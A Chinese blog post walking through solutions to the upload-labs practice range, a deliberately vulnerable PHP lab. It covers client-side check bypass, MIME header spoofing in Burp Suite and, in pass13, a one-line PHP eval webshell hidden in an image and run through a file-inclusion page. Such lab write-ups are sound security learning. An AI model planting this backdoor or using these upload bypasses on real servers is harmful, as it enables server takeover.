上传漏洞

准备阶段

  1. 阅读了GitHub上的项目文档后,稍微心里有了点数。
    迅速clone了项目的代码后,发现是php文件,想运行要先部署环境
  1. 安装好 PHPStudy 后,找到网站根目录后,把项目的.php文件放入此目录。linux同理。
    打开浏览器,输入http:localhost/upload-labs-master,能显示被解析后的php文件,说明环境已经配置好了。

知识铺垫

其实一直以来我对网页的运作方式也是一直半解, PHP,JavaScript,HTML,css什么的傻傻分不清楚,和别人聊起的时候也是一头雾水. 直到前几天刚刚把这个博客真正搭起来,才对HTMLPHP的关系有点理解了. 今天为了后面的学习, 有必要把这部分的知识好好补习下了.
主要参考:你知道HTML、CSS、JS、Services、PHP、ASP.NET 是什么来头么?

###HTML
HTML主要作用于前端(浏览器处). 以我个人的理解,HTML就好像是个成品,是可以直接被浏览器理解的文件. 当自己的电脑得到一个 html页面之后,就会对它进行解析。HTML 就是一种超文本标记语言。

###PHP
HTML相对应, PHP主要应用于服务器端,主要用来写服务器脚本.其实PHP写成的服务器脚本本质上就是个程序, 而且是专门==处理客户端传来的数据、调用本地数据最后生成HTML文件的程序==。这一点上,PHP写成的服务器脚本就好像是个HTML的生成器. 当然, 服务器可以直接把预先设计好的成品HTML丢给客户端, 不过这样的灵活性就大大降低了, 每个人看到的同一个网页都是一模一样的, 而且网站也没法响应用户的其它请求.

###CSS
css可以对html网页进行渲染. 如果不用css,效果如下图,按照浏览器默认的样式显示出表格,超链接等。

(其实就是目前看我博客的效果……)
不说了, 我学css去了。(溜)

###Javascript
Javascript(JS)可以给页面添加一些动态的效果,比如头条的发表的标签,鼠标移上去会弹出一个小窗口,这个就是 JS 实现的效果啦。浏览器拿到这样的代码,就会解析并实现出相应的效果。且由黑字可知, JavaScript是运行在浏览器上的, 不涉及服务器.
其实用来写浏览器脚本的,也不是非得JavaScript 不可,不过是各大浏览器都默认了:请用 JS 写这些动态效果的代码给我解析~

webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

看不懂, 不过应该也没关系, 随着下面的题目应该会对这些概念有更加清晰的认识, 不妨带着问题, 开启学习之路.

小结:

  • HTML负责放你需要显示的内容,
  • PHP可以输出可变化的HTML。
  • CSS可以让你的HTML更加的漂亮,比如加字体颜色加边框。
  • JS可以让你HTML+CSS组成的页面更加“生动”,粗浅的来说就是JS让页面会动。
  • webshell是以网页文件形式存在的一种命令执行环境

二十题题解

pass1:

由提示

根据上面的介绍, JavaScript只会在浏览器中运行, 所以我们在浏览器中禁用掉JavaScript就行了.
以chrome浏览器为例.
首先在pass1的页面下,点击F12,调出开发者工具.

然后点击F1,打开settings

settingPreferences的末尾部分,有个Disable JavaScript,顾名思义,找的就是它了. 选中后就可以禁用JavaScript, 成功上传php类型的文件, 审查元素, 发现此处的图片是test.php, 说明成功了.

pass2:

尝试直接提交test.php, 显示文件类型不匹配.
查看下提示

好了, 什么是MIME呢?

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型;在最早的HTTP协议中,没有附加的数据类型信息.所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
Content-type就是我们经常在 http请求头里 response header看到的那个
里面包含的就是MIME信息.
作者:王进喜许三多

看来MIME就是在HTTP数据包中标明文件类型的一个参数.
举几个例子

类型 后缀 content-type
超文本标记语言 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg

看到是在服务器端进行判断就应该知道像上道题目中, 使用浏览器的手段应该是行不通的了, 要想办法骗过服务器. 在这里, 我们使用工具Burp Suite对需要上传的数据包进行修改.
具体步骤:
因为截图比较麻烦, 我就不放图了, 有需要可以自行百度.

  1. 打开Burp Suite默认代理端口127.0.0.1:8080intercept标签中开启数据拦截功能 intercept is on。
  2. 上传test.php的文件,提示文件类型不正确,请重新上传。
  3. 打开Burp Suite默认代理端口127.0.0.1:8080intercept标签中开启数据拦截功能intercept is on。
  4. chrome浏览器代理设置,127.0.0.1:8080,这里我使用的是SwitchyOmega插件进行快速设置。
  5. 重新选择test.php文件进行上传,Burp Suite拦截到文件上传数据包。(如果在本地部署靶场, Burp Suite可能会拦截不到数据包?)
  6. 将拦截数据包中的content-type:application/octet-stream更改为content-type:image/jpeg,点击forward转发。
  7. 查看上传网页界面,发现文件已经上传成功。

pass13:

题目要求:

上传图片马到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

好的,什么是图片马
百度了下相关的概念和制作方法,其实说白了,图片马就是在图片文件中入恶意代码,但依然保持文件类型是图片格式(.jpg,.png,.gif等)的木马文件。
最简单的图片马当然就是在图片中插入一句话生成的,

制作方法很简单, 随便找个图片( 以jpg为例 ), 以记事本打开, 在末尾加上一句话的代码:

1
<?php @eval($_POST['cmd']) ?>

并保存下来就制作好了. ( 在某篇博客中看到, 可以只保留原文件的前三行然后再加入代码, 因为有时图片过大会影响图片马的运行. )
也可以用cmd, 输入

1
copy  1.jpg/b+2.php/a  3.jpg

1.jpg 是原图片文件, 2.php一句话, 3.jpg就是两个文件合并后的新文件.
/b是以二进制形式,适用于图片音频等文件
/a是ascii形式,适用于txt,php等文本文件
小声bb : 然而亲测好像没有什么区别

把合成好的文件放到测试的目录下, 尝试使用菜刀连接.

.
.
.
会发现连接不上 :|

这是因为菜刀只能和php,asp,aspx等脚本文件连接.

如果把后缀改成php,再次连接…

可以发现正常工作. :)
但是这不足以解决这个题目.
因为题目只能提交.jpg等图片文件, 所以要用题目中的文件包含漏洞.
看下题目中提供的include.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

感觉GET()函数应该是关键点
百度了下, GET()函数在这的使用方法是在URL处获取参数.
比如, 我在URLhttp://某路径/include.php后加上?file=test.txt, 也就是http://某路径/include.php?file=test.txt那么当我访问这个URL时, 脚本就会自动找到test.txt并把其内容放到当前include.php中一起执行.
这样,我们就可以通过文件包含漏洞, 使服务器在运行include.php时把我们的木马一起运行了.

在浏览器中测试下,

可以发现, 图片马的数据已经被访问到了.(但是没有发现php脚本回显, 暂时存疑 :/ )

在使用菜刀尝试连接

成功拿到了 webshell,这道题到这就算是结束了, 其它的两个图片类型应该也都差不多, 这里不多赘述. :)

顺便提一下

每次用一句话或者用大马得到webshell后, 目录下就会发现有$RECYCLE.BIN和system volume information这俩个文件夹. 在这里贴下相关资料:
rs勿忘初心:

$RECYCLE.BIN :首先说明这是系统文件 不是病毒$RECYCLE.BIN 不是像一个回收站,它就是回收站!每个盘都有!你在每个盘删除的东西都会留在各自盘的回收站(即 $RECYCLE.BIN)里,而桌面上的就是总的回收站了。各自盘里的$RECYCLE.BIN 再你清空桌面上的回收站后也就自动清除了!

tangpeicheng:

system volume information:
其中文名称可以翻译为“系统卷标信息”。这个文件夹里就存储着系统还原的备份信息。这里涉及到“系统还原”,“系统还原”是Windows XP最实用的功能之一,它采用“快照”的方式记录下系统在特定时间的状态信息,也就是所谓的“还原点”,然后在需要的时候根据这些信息加以还原。

pass14:

同pass13

pass15:

同pass14
虽然13,14,15可以用同样的方法过关.
但是我们不妨仔细的分析下代码, 体会区别

pass14代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

可以看出这里先是定义了一个函数
isImage($filename)
这个函数的作用可以推测是判断文件是否为图片类型,如果是则返回具体类型(.jpg,.png,.git),如果不是则返回 false.

这其中还有两个函数getimagesize()image_type_to_extension()
其中getimagesize()会以数组的形式返回图像的一组信息, 其第二个元素(info[2])保存的是图片类型. 但是是以数字编码的形式(1,2,3…)保存, 所以需要使用image_type_to_extension($info[2])将数字转为字符串.

程序主体这里出现了几个php脚本预定义的常量

  • $_POST可以用来收集来自method = "post"的表单的数据. 表单域的名称会自动成为 $_POST 数组中的键. 所以这里的 'submit'应该是某个表单域的名称.
    事实上, 通过在浏览器中使用开发者工具分析网页中表单代码:
    1
    2
    3
    4
    5
    <form enctype="multipart/form-data" method="post">
    <p>请选择要上传的图片:</p><p>
    <input class="input_file" type="file" name="upload_file">
    <input class="button" type="submit" name="submit" value="上传">
    </p></form>

这应该就是上述的表单, 用来收集上传文件的数据. 而服务器接受到表单的数据后会自动将其中的信息保存在$_POST数组中供脚本调用.

  • $_FILESPOST产生的表单存储在 $_POST中,那么上传的文件的相关信息保存在$_FILES中.
    其有两个下标.第一个是文件的name, 此处即为表单中的upload_file.第二个则是文件的某些具体参数可以是:”name”, “type”, “size”, “tmp_name” 或 “error”。就像这样:

    • $_FILES["upload_file"]["name"] - 被上传文件的名称
    • $_FILES["upload_file"]["type"] - 被上传文件的类型
    • $_FILES["upload_file"]["size"] - 被上传文件的大小,以字节计
    • $_FILES["upload_file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
    • $_FILES["upload_file"]["error"]- 由文件上传导致的错误代码

      pass15代码:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      function isImage($filename){
      //需要开启php_exif模块
      $image_type = exif_imagetype($filename);
      switch ($image_type) {
      case IMAGETYPE_GIF:
      return "gif";
      break;
      case IMAGETYPE_JPEG:
      return "jpg";
      break;
      case IMAGETYPE_PNG:
      return "png";
      break;
      default:
      return false;
      break;
      }
      }
      $is_upload = false;
      $msg = null;
      if(isset($_POST['submit'])){
      $temp_file = $_FILES['upload_file']['tmp_name'];
      $res = isImage($temp_file);
      if(!$res){
      $msg = "文件未知,上传失败!";
      }else{
      $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
      if(move_uploaded_file($temp_file,$img_path)){
      $is_upload = true;
      } else {
      $msg = "上传出错!";
      }
      }
      }

其他部分大同小异,主要是exif_imagetype(&filename)函数

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

所以只是对第一个字节进行检测, 用pass13的方法即可绕过.